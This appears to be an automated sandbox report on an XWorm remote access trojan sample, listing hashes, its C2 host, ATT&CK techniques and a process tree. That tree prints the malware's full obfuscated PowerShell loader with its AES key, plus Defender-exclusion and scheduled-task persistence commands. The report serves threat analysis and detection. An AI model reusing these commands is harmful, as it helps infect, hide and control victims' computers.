xworm | 207c9fcb3d27479e760966b306e799b4a2a12b15716c3232aba846532da3bac7

Analysis

max time kernel
62s
max time network
64s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
13-09-2024 17:16

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General

Target

Nova Paid.exe
Size

11KB
MD5

af01ce81d4ab7563effd17927d6ebac2
SHA1

c26dc6c6739f25826f2f095079142074d622638d
SHA256

207c9fcb3d27479e760966b306e799b4a2a12b15716c3232aba846532da3bac7
SHA512

510a2471e90fa0e4f47c3a6218b32fda8fb4106cb157757eea2c77e2e60929b8940c6a3731515ce952afe25fe401cd7157294e251a8dee68caf92320cd8080e6
SSDEEP

96:gLkT0+4l002iKK5pQ9rmTohygkRZJte8K3dGcRJDfsjqIxbMjTH7HP+qDcFRVX2x:Ok/Mk3ygkT3e88GiIj1ojDDWqoVX2Oo

Score

10^/10

xworm discovery execution persistence rat trojan

Malware Config

Extracted

Family

xworm

ie-laugh.gl.at.ply.gg:38406

Attributes

Install_directory
%AppData%
install_file
svhost.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3464-35-0x0000000007BF0000-0x0000000007C08000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
30	3464	powershell.exe
42	3464	powershell.exe
48	3464	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
876	powershell.exe
2044	powershell.exe
4172	powershell.exe
3672	powershell.exe
3464	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	Nova Paid.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
816	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svhost = "C:\\Users\\Admin\\AppData\\Roaming\\svhost.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
29	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Nova Paid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3480	schtasks.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
3464	powershell.exe
3464	powershell.exe
3464	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
4172	powershell.exe
4172	powershell.exe
4172	powershell.exe
3672	powershell.exe
3672	powershell.exe
3672	powershell.exe
876	powershell.exe
876	powershell.exe
876	powershell.exe
3464	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3060	Nova Paid.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	4172	powershell.exe
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	876	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3464	powershell.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 4048	3060	Nova Paid.exe	103
PID 3060 wrote to memory of 4048	3060	Nova Paid.exe	103
PID 3060 wrote to memory of 4048	3060	Nova Paid.exe	103
PID 4048 wrote to memory of 3464	4048	cmd.exe	106
PID 4048 wrote to memory of 3464	4048	cmd.exe	106
PID 4048 wrote to memory of 3464	4048	cmd.exe	106
PID 3464 wrote to memory of 816	3464	powershell.exe	109
PID 3464 wrote to memory of 816	3464	powershell.exe	109
PID 3464 wrote to memory of 2044	3464	powershell.exe	111
PID 3464 wrote to memory of 2044	3464	powershell.exe	111
PID 3464 wrote to memory of 2044	3464	powershell.exe	111
PID 3464 wrote to memory of 4172	3464	powershell.exe	113
PID 3464 wrote to memory of 4172	3464	powershell.exe	113
PID 3464 wrote to memory of 4172	3464	powershell.exe	113
PID 3464 wrote to memory of 3672	3464	powershell.exe	115
PID 3464 wrote to memory of 3672	3464	powershell.exe	115
PID 3464 wrote to memory of 3672	3464	powershell.exe	115
PID 3464 wrote to memory of 876	3464	powershell.exe	117
PID 3464 wrote to memory of 876	3464	powershell.exe	117
PID 3464 wrote to memory of 876	3464	powershell.exe	117
PID 3464 wrote to memory of 3480	3464	powershell.exe	119
PID 3464 wrote to memory of 3480	3464	powershell.exe	119
PID 3464 wrote to memory of 3480	3464	powershell.exe	119

C:\Users\Admin\AppData\Local\Temp\Nova Paid.exe
"C:\Users\Admin\AppData\Local\Temp\Nova Paid.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\XClient.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JX+Z0G+TBwPu7Jfx2kdpxB/Zi+U9k9ENCMdrmmQAb+E='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mP9lUTV3X5KEU5RrJggJng=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NMBph=New-Object System.IO.MemoryStream(,$param_var); $BTBHa=New-Object System.IO.MemoryStream; $jdGzb=New-Object System.IO.Compression.GZipStream($NMBph, [IO.Compression.CompressionMode]::Decompress); $jdGzb.CopyTo($BTBHa); $jdGzb.Dispose(); $NMBph.Dispose(); $BTBHa.Dispose(); $BTBHa.ToArray();}function execute_function($param_var,$param2_var){ $arChD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $miCBY=$arChD.EntryPoint; $miCBY.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\XClient.bat';$FwhDJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\XClient.bat').Split([Environment]::NewLine);foreach ($IkMcm in $FwhDJ) { if ($IkMcm.StartsWith(':: ')) { $MzgrP=$IkMcm.Substring(3); break; }}$payloads_var=[string[]]$MzgrP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3464
  - - C:\Users\Admin\AppData\Local\Temp\cmd.exe
      "C:\Users\Admin\AppData\Local\Temp\cmd.exe"
      4⤵
      Executes dropped EXE
      PID:816
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2044
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4172
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3672
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:876
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3480

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3760,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=4092 /prefetch:8
1⤵
PID:4168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
6b6511f92720adfa896432b003c0a3e5

SHA1
f090d371d8ff332b85fc3cec50cabf805bbf6c81

SHA256
459649b45c0dcaf0bd3a54c91851a6fe980413ab43f6d6af62427e0c2b8fa72b

SHA512
447e1da707394e1e490213c615a93a6dbdc1cbd728760d50c5d212daba04432847ce2e1eb36e2151efa51091136c8d75af76137910f066bcbe36f3b492f6efc3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
44ceaa6edec11affa08d1ce7acd2ed7e

SHA1
c25555b301d5c3febb13a75872257320d0ab784a

SHA256
66c82ad53e530231906bc8f111044eb1dcd6a6ffb9afa9519e60585fd3abbb42

SHA512
e77f467928bcc7d59a342def13a144f57f0cd9e0f2222eb78ac09b10ca9baaad46aff480cdbb6bd356124e011fd6288a762cb75596d751236b1f13aeb302eedb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
7e54625e3dec2bc589df483591c46f40

SHA1
f7bff903b5b08e19e64df06f4f1e99617a73182a

SHA256
c1a8b4a1fa6b2b3896badab8d44ade4ab88501db908ba9ff184a47095c0e3e4b

SHA512
0ac5b6d9c951eecd414ee12da5770f35d96602653070b69250a391b4d845bf6d28f2552ba47da2304d8df29e0e13b462933fafb0f911dd2907ba9068bd66b6f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bwhkss4z.sgv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cmd.exe

Filesize
316KB

MD5
428cec6b0034e0f183eb5bae887be480

SHA1
7140caf2a73676d1f7cd5e8529db861f4704c939

SHA256
3f6aa206177bebb29fc534c587a246e0f395941640f3f266c80743af95a02150

SHA512
509b8c138c4928524b4830488a96bd7e4bc7db2c494b10c68e1edcf7d901879126168eaa6635818d29734540f8400e376e5716a3b4dc052cba4e267bbaad7253

Download Submit
C:\Users\Admin\AppData\Roaming\XClient.bat

Filesize
286KB

MD5
f25183dac62c017a5463fa69cb7a2c4e

SHA1
73bef2139b8291017f45869ce68e6ac7c148cf7f

SHA256
bcbb825c1accbf40be97c820c30aa8dd195a050f3ad8d605a7db1a6038824483

SHA512
72f746eb8984a5fb7a1f485b76cf9892889b6d6f1a9f031f0ea5dd81f0ee5ccf200a95571346a5fd04ddee197d39218d2d8a3e63f5b2d9cdfb47ffe6f79efb02

Download Submit
memory/876-135-0x000000006F9A0000-0x000000006F9EC000-memory.dmp

Filesize
304KB

Download
memory/2044-75-0x0000000007500000-0x000000000751A000-memory.dmp

Filesize
104KB

Download
memory/2044-73-0x00000000073F0000-0x00000000073FE000-memory.dmp

Filesize
56KB

Download
memory/2044-57-0x0000000007040000-0x0000000007072000-memory.dmp

Filesize
200KB

Download
memory/2044-58-0x000000006F9A0000-0x000000006F9EC000-memory.dmp

Filesize
304KB

Download
memory/2044-68-0x0000000007020000-0x000000000703E000-memory.dmp

Filesize
120KB

Download
memory/2044-76-0x00000000074E0000-0x00000000074E8000-memory.dmp

Filesize
32KB

Download
memory/2044-69-0x0000000007090000-0x0000000007133000-memory.dmp

Filesize
652KB

Download
memory/2044-70-0x0000000007230000-0x000000000723A000-memory.dmp

Filesize
40KB

Download
memory/2044-74-0x0000000007400000-0x0000000007414000-memory.dmp

Filesize
80KB

Download
memory/2044-71-0x0000000007440000-0x00000000074D6000-memory.dmp

Filesize
600KB

Download
memory/2044-72-0x00000000073C0000-0x00000000073D1000-memory.dmp

Filesize
68KB

Download
memory/3060-46-0x0000000074930000-0x00000000750E0000-memory.dmp

Filesize
7.7MB

Download
memory/3060-0-0x000000007493E000-0x000000007493F000-memory.dmp

Filesize
4KB

Download
memory/3060-25-0x000000007493E000-0x000000007493F000-memory.dmp

Filesize
4KB

Download
memory/3060-2-0x0000000074930000-0x00000000750E0000-memory.dmp

Filesize
7.7MB

Download
memory/3060-1-0x00000000007E0000-0x00000000007EA000-memory.dmp

Filesize
40KB

Download
memory/3060-154-0x0000000074930000-0x00000000750E0000-memory.dmp

Filesize
7.7MB

Download
memory/3464-30-0x00000000079A0000-0x00000000079A8000-memory.dmp

Filesize
32KB

Download
memory/3464-26-0x0000000006800000-0x000000000681E000-memory.dmp

Filesize
120KB

Download
memory/3464-10-0x0000000074930000-0x00000000750E0000-memory.dmp

Filesize
7.7MB

Download
memory/3464-36-0x0000000007CB0000-0x0000000007D4C000-memory.dmp

Filesize
624KB

Download
memory/3464-35-0x0000000007BF0000-0x0000000007C08000-memory.dmp

Filesize
96KB

Download
memory/3464-32-0x0000000008690000-0x0000000008C34000-memory.dmp

Filesize
5.6MB

Download
memory/3464-31-0x0000000007A00000-0x0000000007A62000-memory.dmp

Filesize
392KB

Download
memory/3464-13-0x00000000062A0000-0x0000000006306000-memory.dmp

Filesize
408KB

Download
memory/3464-29-0x0000000006DD0000-0x0000000006DEA000-memory.dmp

Filesize
104KB

Download
memory/3464-28-0x0000000008010000-0x000000000868A000-memory.dmp

Filesize
6.5MB

Download
memory/3464-27-0x0000000006890000-0x00000000068DC000-memory.dmp

Filesize
304KB

Download
memory/3464-56-0x0000000074930000-0x00000000750E0000-memory.dmp

Filesize
7.7MB

Download
memory/3464-21-0x0000000006310000-0x0000000006664000-memory.dmp

Filesize
3.3MB

Download
memory/3464-9-0x0000000005A90000-0x00000000060B8000-memory.dmp

Filesize
6.2MB

Download
memory/3464-8-0x0000000074930000-0x00000000750E0000-memory.dmp

Filesize
7.7MB

Download
memory/3464-19-0x0000000074930000-0x00000000750E0000-memory.dmp

Filesize
7.7MB

Download
memory/3464-7-0x0000000005350000-0x0000000005386000-memory.dmp

Filesize
216KB

Download
memory/3464-152-0x0000000006130000-0x000000000613C000-memory.dmp

Filesize
48KB

Download
memory/3464-12-0x0000000006230000-0x0000000006296000-memory.dmp

Filesize
408KB

Download
memory/3464-11-0x0000000005A30000-0x0000000005A52000-memory.dmp

Filesize
136KB

Download
memory/3464-150-0x0000000008FE0000-0x0000000009072000-memory.dmp

Filesize
584KB

Download
memory/3464-151-0x0000000009220000-0x000000000922A000-memory.dmp

Filesize
40KB

Download
memory/3672-111-0x000000006F9A0000-0x000000006F9EC000-memory.dmp

Filesize
304KB

Download
memory/4172-90-0x000000006F9A0000-0x000000006F9EC000-memory.dmp

Filesize
304KB

Download